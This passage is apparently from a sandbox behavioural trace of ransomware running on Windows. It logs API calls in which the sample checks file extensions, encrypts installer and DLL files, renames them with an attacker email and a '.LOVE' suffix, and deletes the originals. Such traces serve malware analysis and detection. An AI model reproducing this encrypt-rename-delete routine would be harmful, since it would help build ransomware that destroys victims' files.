(lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.417] lstrlenW (lpString=".jpg") returned 4 [0196.417] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.417] lstrcmpiW (lpString1=".msi", lpString2=".LOVE") returned 1 [0196.417] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0196.417] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0196.418] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1901056) returned 1 [0196.418] CloseHandle (hObject=0x300) returned 1 [0196.418] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0196.418] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.418] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0196.419] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0196.419] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc64 | out: lpNewFilePointer=0x0) returned 1 [0196.419] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc24 | out: lpNewFilePointer=0x0) returned 1 [0196.419] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d5d058*, lpNumberOfBytesRead=0x301fc30*=0x40000, lpOverlapped=0x0) returned 1 [0196.558] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x301fc24 | out: lpNewFilePointer=0x0) returned 1 [0196.558] ReadFile (in: hFile=0x300, lpBuffer=0x3d9d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d9d058*, lpNumberOfBytesRead=0x301fc30*=0x40000, lpOverlapped=0x0) returned 1 [0196.582] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.582] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x301fc24 | out: lpNewFilePointer=0x0) returned 1 [0196.583] ReadFile (in: hFile=0x300, lpBuffer=0x3ddd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ddd058*, lpNumberOfBytesRead=0x301fc30*=0x40000, lpOverlapped=0x0) returned 1 [0196.691] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.691] WriteFile (in: hFile=0x300, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x301fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0197.015] SetEndOfFile (hFile=0x300) returned 1 [0197.072] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x42d13f8 [0197.073] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc74 | out: lpNewFilePointer=0x0) returned 1 [0197.073] WriteFile (in: hFile=0x300, lpBuffer=0x42d13f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc80, lpOverlapped=0x0 | out: lpBuffer=0x42d13f8*, lpNumberOfBytesWritten=0x301fc80*=0x40000, lpOverlapped=0x0) returned 1 [0197.074] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x301fc74 | out: lpNewFilePointer=0x0) returned 1 [0197.074] WriteFile (in: hFile=0x300, lpBuffer=0x42d13f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc80, lpOverlapped=0x0 | out: lpBuffer=0x42d13f8*, lpNumberOfBytesWritten=0x301fc80*=0x40000, lpOverlapped=0x0) returned 1 [0197.076] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x301fc74 | out: lpNewFilePointer=0x0) returned 1 [0197.076] WriteFile (in: hFile=0x300, lpBuffer=0x42d13f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc80, lpOverlapped=0x0 | out: lpBuffer=0x42d13f8*, lpNumberOfBytesWritten=0x301fc80*=0x40000, lpOverlapped=0x0) returned 1 [0197.078] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0197.080] CloseHandle (hObject=0x300) returned 1 [0198.374] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.375] lstrlenW (lpString=".doc") returned 4 [0198.375] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.375] lstrlenW (lpString=".docx") returned 5 [0198.375] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0198.375] lstrlenW (lpString=".pdf") returned 4 [0198.375] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.375] lstrlenW (lpString=".xls") returned 4 [0198.375] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.375] lstrlenW (lpString=".xlsx") returned 5 [0198.375] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0198.375] lstrlenW (lpString=".ppt") returned 4 [0198.375] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.375] lstrlenW (lpString=".zip") returned 4 [0198.375] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.375] lstrlenW (lpString=".rar") returned 4 [0198.375] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.375] lstrlenW (lpString=".bz2") returned 4 [0198.375] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.375] lstrlenW (lpString=".7z") returned 3 [0198.375] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.375] lstrlenW (lpString=".dbf") returned 4 [0198.375] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.375] lstrlenW (lpString=".1cd") returned 4 [0198.375] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.375] lstrlenW (lpString=".jpg") returned 4 [0198.375] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.375] lstrlenW (lpString=".doc") returned 4 [0198.375] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.376] lstrlenW (lpString=".docx") returned 5 [0198.376] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0198.376] lstrlenW (lpString=".pdf") returned 4 [0198.376] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.376] lstrlenW (lpString=".xls") returned 4 [0198.376] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.376] lstrlenW (lpString=".xlsx") returned 5 [0198.376] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0198.376] lstrlenW (lpString=".ppt") returned 4 [0198.376] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.376] lstrlenW (lpString=".zip") returned 4 [0198.376] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.376] lstrlenW (lpString=".rar") returned 4 [0198.376] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.376] lstrlenW (lpString=".bz2") returned 4 [0198.376] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.376] lstrlenW (lpString=".7z") returned 3 [0198.376] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.376] lstrlenW (lpString=".dbf") returned 4 [0198.376] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.376] lstrlenW (lpString=".1cd") returned 4 [0198.376] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0198.376] lstrlenW (lpString=".jpg") returned 4 [0198.376] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.376] lstrcmpiW (lpString1=".msi", lpString2=".LOVE") returned 1 [0198.376] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0198.376] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0198.377] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=184832) returned 1 [0198.377] CloseHandle (hObject=0x300) returned 1 [0198.377] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0198.377] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.377] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0198.377] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.377] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.377] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0198.377] GetLastError () returned 0x0 [0198.377] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x2d200, lpOverlapped=0x0) returned 1 [0198.635] WriteFile (in: hFile=0x31c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x2d210, lpOverlapped=0x0) returned 1 [0198.638] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.638] WriteFile (in: hFile=0x31c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf4, lpOverlapped=0x0) returned 1 [0198.638] SetEndOfFile (hFile=0x31c) returned 1 [0198.638] CloseHandle (hObject=0x31c) returned 1 [0198.641] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.641] SetEndOfFile (hFile=0x300) returned 1 [0198.642] CloseHandle (hObject=0x300) returned 1 [0198.642] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.643] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0198.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.643] lstrlenW (lpString=".doc") returned 4 [0198.643] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.643] lstrlenW (lpString=".docx") returned 5 [0198.643] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0198.643] lstrlenW (lpString=".pdf") returned 4 [0198.643] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.643] lstrlenW (lpString=".xls") returned 4 [0198.643] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.643] lstrlenW (lpString=".xlsx") returned 5 [0198.643] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0198.643] lstrlenW (lpString=".ppt") returned 4 [0198.643] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.643] lstrlenW (lpString=".zip") returned 4 [0198.643] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.643] lstrlenW (lpString=".rar") returned 4 [0198.643] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.643] lstrlenW (lpString=".bz2") returned 4 [0198.643] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.643] lstrlenW (lpString=".7z") returned 3 [0198.643] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.644] lstrlenW (lpString=".dbf") returned 4 [0198.644] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.644] lstrlenW (lpString=".1cd") returned 4 [0198.644] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.644] lstrlenW (lpString=".jpg") returned 4 [0198.644] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.644] lstrlenW (lpString=".doc") returned 4 [0198.644] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.644] lstrlenW (lpString=".docx") returned 5 [0198.644] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0198.644] lstrlenW (lpString=".pdf") returned 4 [0198.644] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.644] lstrlenW (lpString=".xls") returned 4 [0198.644] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.644] lstrlenW (lpString=".xlsx") returned 5 [0198.644] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0198.644] lstrlenW (lpString=".ppt") returned 4 [0198.644] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.644] lstrlenW (lpString=".zip") returned 4 [0198.644] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.644] lstrlenW (lpString=".rar") returned 4 [0198.644] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.644] lstrlenW (lpString=".bz2") returned 4 [0198.644] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.644] lstrlenW (lpString=".7z") returned 3 [0198.644] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.644] lstrlenW (lpString=".dbf") returned 4 [0198.644] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.644] lstrlenW (lpString=".1cd") returned 4 [0198.645] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0198.645] lstrlenW (lpString=".jpg") returned 4 [0198.645] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.645] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0198.645] lstrlenW (lpString="SetupUi.dll") returned 11 [0198.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0198.645] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=295248) returned 1 [0198.645] CloseHandle (hObject=0x300) returned 1 [0198.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0198.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0198.645] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.645] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0198.646] GetLastError () returned 0x0 [0198.646] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x48150, lpOverlapped=0x0) returned 1 [0199.142] WriteFile (in: hFile=0x31c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x48160, lpOverlapped=0x0) returned 1 [0199.146] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.146] WriteFile (in: hFile=0x31c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xea, lpOverlapped=0x0) returned 1 [0199.146] SetEndOfFile (hFile=0x31c) returned 1 [0199.146] CloseHandle (hObject=0x31c) returned 1 [0199.151] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.151] SetEndOfFile (hFile=0x300) returned 1 [0199.153] CloseHandle (hObject=0x300) returned 1 [0199.153] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0199.154] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0199.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.154] lstrlenW (lpString=".doc") returned 4 [0199.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0199.154] lstrlenW (lpString=".docx") returned 5 [0199.154] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0199.154] lstrlenW (lpString=".pdf") returned 4 [0199.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0199.154] lstrlenW (lpString=".xls") returned 4 [0199.154] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0199.154] lstrlenW (lpString=".xlsx") returned 5 [0199.154] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0199.154] lstrlenW (lpString=".ppt") returned 4 [0199.154] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0199.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.154] lstrlenW (lpString=".zip") returned 4 [0199.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0199.154] lstrlenW (lpString=".rar") returned 4 [0199.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0199.154] lstrlenW (lpString=".bz2") returned 4 [0199.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0199.154] lstrlenW (lpString=".7z") returned 3 [0199.154] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0199.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.155] lstrlenW (lpString=".dbf") returned 4 [0199.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0199.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.155] lstrlenW (lpString=".1cd") returned 4 [0199.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0199.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.155] lstrlenW (lpString=".jpg") returned 4 [0199.155] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0199.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.155] lstrlenW (lpString=".doc") returned 4 [0199.155] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0199.155] lstrlenW (lpString=".docx") returned 5 [0199.155] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0199.155] lstrlenW (lpString=".pdf") returned 4 [0199.155] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0199.155] lstrlenW (lpString=".xls") returned 4 [0199.155] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0199.155] lstrlenW (lpString=".xlsx") returned 5 [0199.155] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0199.155] lstrlenW (lpString=".ppt") returned 4 [0199.155] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0199.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.155] lstrlenW (lpString=".zip") returned 4 [0199.155] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0199.155] lstrlenW (lpString=".rar") returned 4 [0199.155] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0199.155] lstrlenW (lpString=".bz2") returned 4 [0199.155] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0199.155] lstrlenW (lpString=".7z") returned 3 [0199.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0199.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.155] lstrlenW (lpString=".dbf") returned 4 [0199.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0199.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.155] lstrlenW (lpString=".1cd") returned 4 [0199.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0199.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0199.156] lstrlenW (lpString=".jpg") returned 4 [0199.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0199.156] lstrcmpiW (lpString1=".msu", lpString2=".LOVE") returned 1 [0199.156] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0199.156] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0199.156] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2192672) returned 1 [0199.156] CloseHandle (hObject=0x300) returned 1 [0199.156] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0199.156] GetFileAttributesW 